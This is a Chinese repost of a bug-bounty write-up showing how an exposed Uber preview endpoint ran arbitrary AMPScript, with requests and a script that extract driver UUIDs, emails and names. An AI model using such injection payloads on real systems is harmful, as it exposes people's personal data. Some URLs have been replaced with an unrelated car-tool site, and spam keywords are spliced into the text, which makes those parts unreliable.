利用AMPScript获取Uber用户数据的访问权限
现代项目开发和资产管理方法正在不停地快速变化。在这场创新和扩张的竞赛中,新资产被迅速部署并暴露于公共互联网,已有资产也在不断发展。
要跟上这个不断变化的攻击面是很难的,更不用说保护这些应用程序和系统了。传统的基于时间点和静态的安全措施根本无法奏效,在这种动态环境中主动管理威胁似乎是一项不可能完成的任务。
解决这个问题的唯一方法是持续化的安全评估和资产感知。我们在用持续安全平台(Continuous Security Platform)监控大型攻击面时,经常发现由资产结构变更导致的新的或未发现的漏洞。
这就是我们的Assetnote持续安全平台在Uber漏洞赏金计划的一个子域名下发现的情况:exacttarget-web-hook.uber.com。
很长一段时间,子域名返回的是一个由Express.js Web服务器生成的普通且无聊的“Not Found”错误。
突然有一天,子域名返回了一个像是Uber消息个性化系统的内部测试响应:

Assetnote CS在https://iprog-programmer.chinaobd2.com/
乍一看,该应用程序看起来像一个用于测试文本消息的API控制台,该消息包含用户的个性化设置。
我们尝试根据提供的“测试contractKey”来利用API控制台,但失败了。经过一番调查后,我们断定这是因为contactKey参数必须是经过身份验证的帐户的UUID,而不是API控制台页面上提供的UUID。在登录后,我们从https://iprog-programmer.chinaobd2.com/的HTML源码中提取到了UUID。
在使用正确的Uber帐户的UUID填入contactKey参数后,我们能够发送API请求到preview接口:
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1 Host: exacttarget-web-hook.uber.com Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 Accept: */* DNT: 1 Referer: https://iprog-programmer.chinaobd2.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8
本文前面所示的截图正是API控制台中preview接口返回的“消息”:
%%[
SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid)
]%%
Hi there I'm %%=v(@firstName)=%% and I created this tool.
通过调查语法并联想到子域名为exacttarget-web-hook,我们意识到上面的代码实际上是AMPScript。
Salesforce的Marketing Cloud发明了AMPScript脚本语言,它可以嵌入到HTML邮件、文本邮件、登录页面和SMS消息中,以控制展示给个人消费者的内容。 AMPScript由ExactTarget开发,在2013年被Salesforce收购。
一开始使用API控制台中提供的示例AMPScript失败了,于是我们开始全面评估AMPScript的可用性。我们很快发现HTTPGet函数可以发送HTTP GET请求并得到响应内容:

运行AMPScript的查询语句:
%%=HTTPGet('https://ipinfo.io')=%%
很好!我们能够利用任意的AMPScript!但是,我们通过HTTPGet函数发起的请求并非Uber服务器产生的,如上图所示,它来自AS22606 ExactTarget,Inc。
为了演示该漏洞的影响,我们从名叫driver_partners的数据扩展中提取了用户数据。数据扩展是一种可以用AMPScript数据扩展函数访问的数据库表。
通过阅读有关LookupRows函数的AMPScript文档,我们可以写一个这样的AMPScript脚本:
- 在driver_partners数据扩展中搜索所有firstname等于Shubs的行。
- 将查询结果存储到数组中。
- 迭代访问数组并打印值。
最终的AMPScript如下:
%%[
SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')
SET @rCount = RowCount(@prefArray)
FOR @i = 1 TO @rCount DO
SET @Row = Row(@prefArray, @i)
SET @ID = Field(@Row, 1)
SET @UUID = Field(@Row, 2)
SET @joinDate = Field(@Row, 3)
SET @email = Field(@Row, 4)
SET @firstName = Field(@Row, 5)
]%%
%%=V(@UUID)=%%
%%=V(@joinDate)=%%
%%=V(@email)=%%
%%=V(@firstName)=%%
%%[
NEXT @i
]%%
当此AMPScript发送请求到preview接口后,响应中包含UUID、注册日期、邮箱地址以及名为Shubs的所有用户的名字。
对preview接口的HTTP请求如下:
GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=%25%25%5b%0d%0a%53%45%54%20%40%70%72%65%66%41%72%72%61%79%20%3d%20%4c%6f%6f%6b%75%70%52%6f%77%73%28%27%64%72%69%76%65%72%5f%70%61%72%74%6e%65%72%73%27%2c%20%27%66%69%72%73%74%6e%61%6d%65%27%2c%20%27%53%68%75%62%73%27%29%0d%0a%53%45%54%20%40%72%43%6f%75%6e%74%20%3d%20%52%6f%77%43%6f%75%6e%74%28%40%70%72%65%66%41%72%72%61%79%29%0d%0a%46%4f%52%20%40%69%20%3d%20%31%20%54%4f%20%40%72%43%6f%75%6e%74%20%44%4f%0d%0a%09%53%45%54%20%40%52%6f%77%20%3d%20%52%6f%77%28%40%70%72%65%66%41%72%72%61%79%2c%20%40%69%29%0d%0a%09%53%45%54%20%40%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%29%0d%0a%09%53%45%54%20%40%55%55%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%32%29%0d%0a%09%53%45%54%20%40%6a%6f%69%6e%44%61%74%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%33%29%0d%0a%09%53%45%54%20%40%65%6d%61%69%6c%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%34%29%0d%0a%09%53%45%54%20%40%66%69%72%73%74%4e%61%6d%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%35%29%0d%0a%09%53%45%54%20%40%75%6e%6b%6e%6f%77%6e%31%30%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%30%29%0d%0a%5d%25%25%0d%0a%09%25%25%3d%56%28%40%55%55%49%44%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%6a%6f%69%6e%44%61%74%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%65%6d%61%69%6c%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%66%69%72%73%74%4e%61%6d%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%75%6e%6b%6e%6f%77%6e%31%30%29%3d%25%25%0d%0a%25%25%5b%0d%0a%4e%45%58%54%20%40%69%0d%0a%5d%25%25&business_unit= HTTP/1.1 Host: exacttarget-web-hook.uber.com Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 Accept: */* DNT: 1 Referer: https://exacttarget-web-hook.uber.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8
Vag COM , TCS CDP , VAS5054A , GM Tech2 , Iprog+ Programmer , Orange 5 programmer , SBB3 PRO3 Key Programmer , wiTech MicroPod II , T300+ Key Programmer, Iprog, Scania VCI3, mercedes star diagnostic, Porsche Piwis, vocom 88890300, Renault CAN Clip, SBB Key Programmer, NEXIQ USB Link
响应(UUID和邮箱地址已打码):

Uber返回的所有用户名叫‘Shubs’的数据
如上所示,返回了许多名为Shubs的用户的详细信息(我已修改截图仅展示测试帐户)。攻击者可以编写AMPScript来提取大量的数据,或者搜索Uber数据中名叫XXX的特定人,并提取他们的UUID和电子邮件地址。
利用AMPScript获取Uber用户数据的访问权限的更多相关文章
- Kubernetes RBAC授权普通用户对命名空间访问权限
Kubernetes RBAC授权普通用户对命名空间访问权限 官方文档:https://www.cnblogs.com/xiangsikai/p/11413970.html kind: Role ap ...
- 使用腾讯开发平台获取QQ用户数据资料
<今天是七夕:祝大家七夕嗨皮,前可么么哒,后可啪啪啪> Tips:本篇博客将教你如何使用腾讯开发平台获取QQ用户资料 ----------------------------------- ...
- Struts2 利用拦截器 interceptor 控制登陆和访问权限
最近学习了Struts2的登录和权限控制用到的是拦截器,需要在struts.xml中配置,每个action都默认的继承defaultStack,如果你用了别的拦截器,还需要手动引入defaultSta ...
- [App Store Connect帮助]二、 添加、编辑和删除用户(4)更改用户的 App 访问权限
您可以限制具有“App 管理”.“客户支持”.“开发者”.“营销”或“销售”职能的用户(均不具有“访问报告”职能)拥有哪些 App 的访问权限.如果您不更改他们的用户 App 访问权限,他们将默认拥有 ...
- SQL Server新增用户并控制访问权限设置。
新增用户: 一.进入数据库:[安全性]—>[登录名]—>[新建登录名] 二.在常规选项卡中.如图所示,创建登录名.注意设置默认的数据库. 三.在[用户映射]下设置该用户所能访问的数据库.并 ...
- 利用PHP连接数据库——实现用户数据的增删改查的整体操作实例
main页面(主页面) <table width="100%" border="1" cellpadding="0" cellspac ...
- springMVC+request.session实现用户登录和访问权限控制
用springmvc mybatis实现用户登录登出功能,使用session保持登录状态,并实现禁止未登录的用户访问.感谢谷歌资源,在这里做个学习记录加深自己的印象. 原文在我的https://my. ...
- sqlserver2012 用户指定数据库访问权限
这样 用户进入的时候 就只能访问指定数据库 点击其他 显示
- Android各种访问权限Permission详解
原文:http://jingyan.baidu.com/article/afd8f4de4688af34e386e976.html 在Android的设计中,资源的访问或者网络连接,要得到这些服务都需 ...
随机推荐
- js的逆向解析
过程: 知道如何寻找登录的接口 知道如何确定js的位置 知道如何观察js的执行过程 知道js的执行方法 1. 确定网站的登录的接口登录的form表单中action对应的url地址通过抓包可以发现,在这 ...
- Docker打包 Asp.Net Core应用,在CentOS上运行(转)
转载连接:https://www.cnblogs.com/ibeisha/archive/2017/09/09/netcoreondocker.html 本文主要介绍下运用docker虚拟技术打包As ...
- 关闭 Visual Studio 的 Browser Link 功能
最近公司弄新项目需要用 MVC,就把 IDE 升级到了 Visual Studio 2013,在开发的时候发现有好多请求一个本地49925的端口 . 很奇怪,一开始以为是 Visual Studio ...
- SparkCore | Rdd| 广播变量和累加器
Spark中三大数据结构:RDD: 广播变量: 分布式只读共享变量: 累加器:分布式只写共享变量: 线程和进程之间 1.RDD中的函数传递 自己定义一些RDD的操作,那么此时需要主要的是,初始化工作 ...
- 网络编程-Mysql-1、数据库的启动关闭,创建数据库,表等基本操作
启动服务端:sudo service mysql start 关闭服务端:suodo service mysql stop 重启服务端:suodo service mysql restart 连接数据 ...
- 浅析uWSGI、uwsgi、wsgi
WSGI协议 首先弄清下面几个概念: WSGI:全称是Web Server Gateway Interface,WSGI不是服务器,python模块,框架,API或者任何软件,只是一种规范,描述web ...
- Python网络爬虫之三种数据解析方式
1. 正则解析 正则例题 import re # string1 = """<div>静夜思 # 窗前明月光 # 疑是地上霜 # 举头望明月 # 低头思故乡 ...
- dbconfig.properties
jdbc.driver=com.mysql.jdbc.Driver jdbc.url=jdbc:mysql://localhost:3306/数据库名 jdbc.username=root jdbc. ...
- 26 Arcpy跳坑系列——ExportToPNG
最近在学习Arcpy的时候,还真是遇到了一个磨人的小妖精,我本来是想得到一个透明背景的png图的,根据官方的帮助文档, https://desktop.arcgis.com/zh-cn/arcmap/ ...
- Nginx负载均衡后端健康检查(支持HTTP和TCP)
之前有一篇文章记录nginx负载均衡后端检查,链接为 https://www.cnblogs.com/minseo/p/9511456.html 但是只包含http健康检查不包含tcp下面安装ngin ...